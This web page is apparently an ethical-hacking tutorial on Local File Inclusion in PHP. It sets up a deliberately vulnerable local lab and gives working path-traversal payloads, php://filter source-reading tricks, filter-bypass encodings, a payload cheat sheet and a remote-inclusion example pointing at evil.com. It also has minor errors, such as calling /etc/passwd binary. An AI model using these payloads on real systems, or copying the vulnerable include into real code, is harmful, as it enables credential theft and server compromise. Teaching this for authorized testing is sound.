Local File Inclusion to Read System Files

Learn to leverage Local File Inclusion (LFI) to read sensitive system files in this hands-on ethical hacking tutorial. Understand the concept, exploit path traversal, and apply it in a practical lab with troubleshooting tips—perfect for developers building security skills.

Focus: leverage local file inclusion to read system files

Sponsored

You've spent hours hardening your web app: patching SQL injection, escaping XSS, locking down headers. But an attacker just needs one overlooked include() to read your server's password hashes, database credentials, or even source code — and you'd never know until it's too late. In this lesson, you'll master leveraging Local File Inclusion to read system files, turning a seemingly harmless PHP parameter into a stealthy read primitive. By the end, you'll be able to identify, exploit, and patch this critical vulnerability in your own applications — and understand exactly why it's a top OWASP concern.

The Problem This Lesson Solves

Local File Inclusion (LFI) is a vulnerability where an application dynamically includes a file based on user input without proper validation. Think of a PHP app that loads pages like this: index.php?page=about.php. If the developer naively does include($_GET['page']), you can change page to ../../../../etc/passwd and the server will happily read and display that file.

Why should you care? Because this one bug can expose:

  • System files like /etc/passwd (user accounts) or /etc/shadow (password hashes, if readable).
  • Application source code — revealing database credentials, API keys, and business logic.
  • Configuration files.env, config.php, or .htaccess.
  • Remote code execution (in many setups, via log poisoning or PHP wrappers) — but that's a later lesson.

For an ethical hacker, LFI is often the foothold you need to pivot from a blind web app to full server compromise. For a developer, it's a sanity check: if your code uses include or require with any user input, you have a critical vulnerability — right now.

Core Concept / Mental Model

Think of LFI as the web app's file picker. Normal users see a dropdown of 'allowed' files (e.g., about.php, contact.php). The attacker realizes the dropdown is fake — the underlying code will accept any path. So you're not breaking the file picker; you're using it to pick files it never meant to offer.

Path traversal is the technique to climb out of the intended directory. The server runs the PHP file from its web root, but include() resolves relative paths based on the current working directory. By injecting ../, you navigate up the filesystem tree — like pressing 'Up' in a file explorer.

Here's the mental model:

  • The web root is /var/www/html/.
  • Your request goes through index.php in /var/www/html/.
  • Adding ../ moves you to /var/www/.
  • Each additional ../ takes you one level higher.
  • You keep climbing until you reach /etc/ or wherever your target file lives.

Key insight: The operating system resolves paths; the PHP include function just hands them over. If the server is running as the web user (e.g., www-data), it can read any file that user has permission to read — which often includes system configs and even source code.

Pro tip: LFI and Directory Traversal are cousin bugs. Traversal alone just lists/reads arbitrary files (e.g., via file_get_contents). LFI specifically uses include/require, which can execute PHP code — making it far more dangerous.

How It Works Step by Step

Exploiting LFI to read system files follows a clear sequence. Let's break it down.

  1. Identify a dynamic file inclusion point. Look for URLs with parameters like page, file, path, include, lang, or template. Examples: index.php?page=home, download.php?file=report.pdf, admin.php?view=settings.

  2. Test basic payloads. Replace the parameter value with a known system file. Start simple: index.php?page=/etc/passwd (absolute path) or index.php?page=../../../../etc/passwd (relative). If the response shows the file contents (or a partial error that leaks it), you've found LFI.

  3. Adjust the number of ../. You need enough ../ to climb from the web root to the root directory /. Common counts: 3–7 depending on directory depth. Try ../../../etc/passwd, ../../../../etc/passwd, etc. If you overshoot, the OS just stops at / — it won't go above root, so you'll still hit /etc/passwd.

  4. Encode payloads to bypass filters. If the app blocks ../ or ..\, try URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), or alternate separators. On Linux, ....// collapses to ../ internally in some parsers.

  5. Confirm readable files. /etc/passwd is the classic test because it's world-readable on virtually all Unix-like systems. It lists usernames, which you can later use for SSH brute-force or as a check for other services.

  6. Extract more sensitive files. Once confirmed, target: - /etc/shadow (password hashes — requires root; often not readable, but worth trying) - /var/www/html/config.php (database credentials) - /proc/self/environ (environment variables — may contain session secrets) - php://filter/convert.base64-encode/resource=config.php to read source code without PHP executing it

Security note: As an ethical hacker, you must have explicit permission. Reading /etc/passwd is already a serious breach — in a real engagement, stop at proof-of-concept and document the finding.

Hands-on Walkthrough

Let's set up a minimal, deliberately vulnerable lab. You'll need PHP and a web server — the built-in PHP server works fine for learning.

Setup: Create a vulnerable app

mkdir lfi-lab && cd lfi-lab
# Create index.php via your editor
cat > index.php << 'EOF'
<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>
EOF
# Create a sample home page
cat > home.php << 'EOF'
<h1>Welcome to the LFI Lab</h1>
<p>Your IP: <?php echo $_SERVER['REMOTE_ADDR']; ?></p>
EOF
# Start the server
php -S 127.0.0.1:8000

Exercise 1: Read /etc/passwd

With the server running, open a browser or use curl:

curl "http://127.0.0.1:8000/index.php?page=../../../../etc/passwd"

Expected output: The /etc/passwd file contents – lines like root:x:0:0:root:/root:/bin/bash, daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin, and so on. The x in the password field means the hash is in /etc/shadow.

Exercise 2: Read the app's own source code

Because include executes PHP, you'll just see the rendered HTML — not the source. To exfiltrate source, use the php://filter wrapper to base64-encode it:

curl "http://127.0.0.1:8000/index.php?page=php://filter/convert.base64-encode/resource=config.php"

If you had a config.php with credentials, you'd get a base64 blob. Decode it:

echo "<base64_string>" | base64 -d

Expected output: The PHP source code with your secrets.

Exercise 3: Extract environment variables (if elsewhere on your system)

curl "http://127.0.0.1:8000/index.php?page=../../../../proc/self/environ"

You'll see null-separated variables like DOCUMENT_ROOT=/var/www/html, SESSIONID=xyz — a goldmine for session hijacking.

Pro tip: Always start with /etc/passwd — it's low-risk, world-readable, and confirms the vulnerability. Never jump to /etc/shadow without permission.

Compare Options / When to Choose What

When you've found LFI, your next move depends on the goal. Here's a cheat sheet:

Goal Technique Example Best for
Confirm LFI Read /etc/passwd ?page=../../../../etc/passwd Quick validation
Read binary/config files php://filter wrapper ?page=php://filter/convert.base64-encode/resource=config.php Avoiding rendering issues
Source code without execution php://filter with base64 Same as above, but for .php files Stealthy reconnaissance
Environment secrets Read /proc/self/environ ?page=../../../../proc/self/environ Session tokens, DB creds
Files outside web root Path traversal with ../ ?page=../../../../../etc/shadow System files
Bypass simple filters URL encoding / double encoding ?page=..%252f..%252f..%252fetc/passwd WAF/input filtering

When to choose which:

  • Path traversal is your default — it works on any server that resolves relative paths.
  • php://filter is essential when the target file is PHP — otherwise include runs it, and you get no output.
  • /proc/self/environ is a quick win on Linux for environment secrets, but it's not always readable.

Variations to know:

The LFI technique has siblings — be ready to adapt:

  • Remote File Inclusion (RFI): The app includes a remote URL (e.g., ?page=http://evil.com/shell.txt). This often leads to RCE, but many modern setups disable allow_url_include.
  • Log poisoning: If you can inject PHP code into a log file (e.g., via user-agent), then include that log — a powerful RFI-to-RCE path.
  • Null byte injection: In older PHP (pre-5.3.4), appending %00 to truncate .php suffix allowed ?page=../../etc/passwd%00.

Troubleshooting & Edge Cases

Even a perfect LFI exploit can fail. Here's how to diagnose and adjust.

“The page shows nothing or an error”

  • Not enough ../: Increase the count. The web root may be deeper than /var/www/html (e.g., /var/www/site/public). Try ../../../../ or more.
  • PHP is being executed: If you request config.php, PHP runs it, not prints it. Use php://filter to get the source.
  • File permissions: The web user must have read access. /etc/shadow is usually root-only — check permissions.

“I see the file, but it's garbled”

  • Binary files like /etc/passwd are plain text — if garbled, you're likely fetching a binary. Use php://filter/convert.base64-encode to safely encode binaries before reading.

“My ../ is removed or blocked”

  • Basic WAF: Try URL encoding: %2e%2e%2f or double encoding %252e%252e%252f. Sometimes the server decodes once; double-encoding survives.
  • String replacement: If ../ is stripped, try ....// (PHP's old parser collapses it to ../).
  • Path checks: Apps that block .. but allow . might be bypassed with /etc/passwd direct absolute path.

“The include path has a prefix like includes/

If the code does include("includes/".$_GET['page']), your ../ still works — it just climbs from inside includes/. You may need one extra ../ relative to that subdirectory.

“The server is Windows”

  • Use backslashes (..\..\..\windows\win.ini) or forward slashes (usually accepted). Targets include C:\Windows\system.ini or C:\boot.ini.

Pro tip: When stuck, use a wordlist of common traversal payloads (e.g., from SecLists) to brute-force the path — but always within scope.

What You Learned & What's Next

You now know how to leverage Local File Inclusion to read system files — from spotting the vulnerable parameter to extracting /etc/passwd, source code, and environment variables. You also understand the underlying path traversal mechanics, bypass techniques, and how to choose the right tactic for your goal.

In the next lesson, you'll move from reading files to executing code — turning LFI into a full remote shell using log poisoning and PHP wrappers. That's where the real power (and risk) lies, and you'll be ready because you've mastered the read primitive first.

Ethical reminder: Never test on systems you don't own or lack written permission for. The same skills that read /etc/passwd can compromise a server — use them responsibly.

Practice recap

Set up the vulnerable index.php from the lesson, then practice reading /etc/passwd, your own config.php via php://filter, and /proc/self/environ. Try changing the number of ../ and observe how the output changes. Next, attempt to bypass a simple filter that blocks ../ by using URL encoding — you'll be ready for the RCE lesson ahead.

Common mistakes

  • Forgetting to increase the number of ../ when the web root is nested deeper than the default.
  • Using include on .php files directly without php://filter, so the code executes instead of showing source.
  • Ignoring file permissions — /etc/shadow often fails not because of traversal but because www-data lacks read access.
  • Assuming LFI is only on Linux — Windows servers need ..\\..\\ and targets like C:\\Windows\\win.ini.
  • Not encoding payloads when a WAF or simple input filter blocks ../ — try %2e%2e%2f or ....//.

Variations

  1. Use php://filter/convert.base64-encode/resource= to read PHP source without executing it.
  2. Try /proc/self/environ to extract environment variables and session tokens.
  3. Leverage null-byte injection %00 on legacy PHP versions to truncate appended extensions.

Real-world use cases

  • Penetration tester discovers a blog with ?page= parameter and reads /etc/passwd in an authorized engagement, proving critical file disclosure.
  • Bug bounty hunter finds LFI in a SaaS app and extracts config.php (with DB credentials) from source code via php://filter.
  • Security auditor reviews a legacy PHP admin panel and reveals /proc/self/environ leaking session secrets, prompting immediate patch.

Key takeaways

  • LFI occurs when user input is passed to include/require without validation — any variable is a potential entry point.
  • Path traversal via ../ climbs directory levels; the number of ../ depends on web root depth.
  • Always start with /etc/passwd to confirm LFI — it's world-readable and low-risk.
  • Use php://filter to read PHP source code without executing it, preventing silent data loss.
  • Blocks/WAFs can bypassed with encoding techniques; adjust payloads to the target's filtering.
  • LFI often leads to RCE via log poisoning or wrappers — knowing read primitives is the foundation.

Sponsored

Sponsored

Discussion

Questions, corrections, and tips help everyone reading this page.

0 comments

Add a comment

Shown publicly with your comment.

Be constructive · max 4,000 characters

No comments yet — start the thread.

Related tutorials, quizzes, and articles for this topic.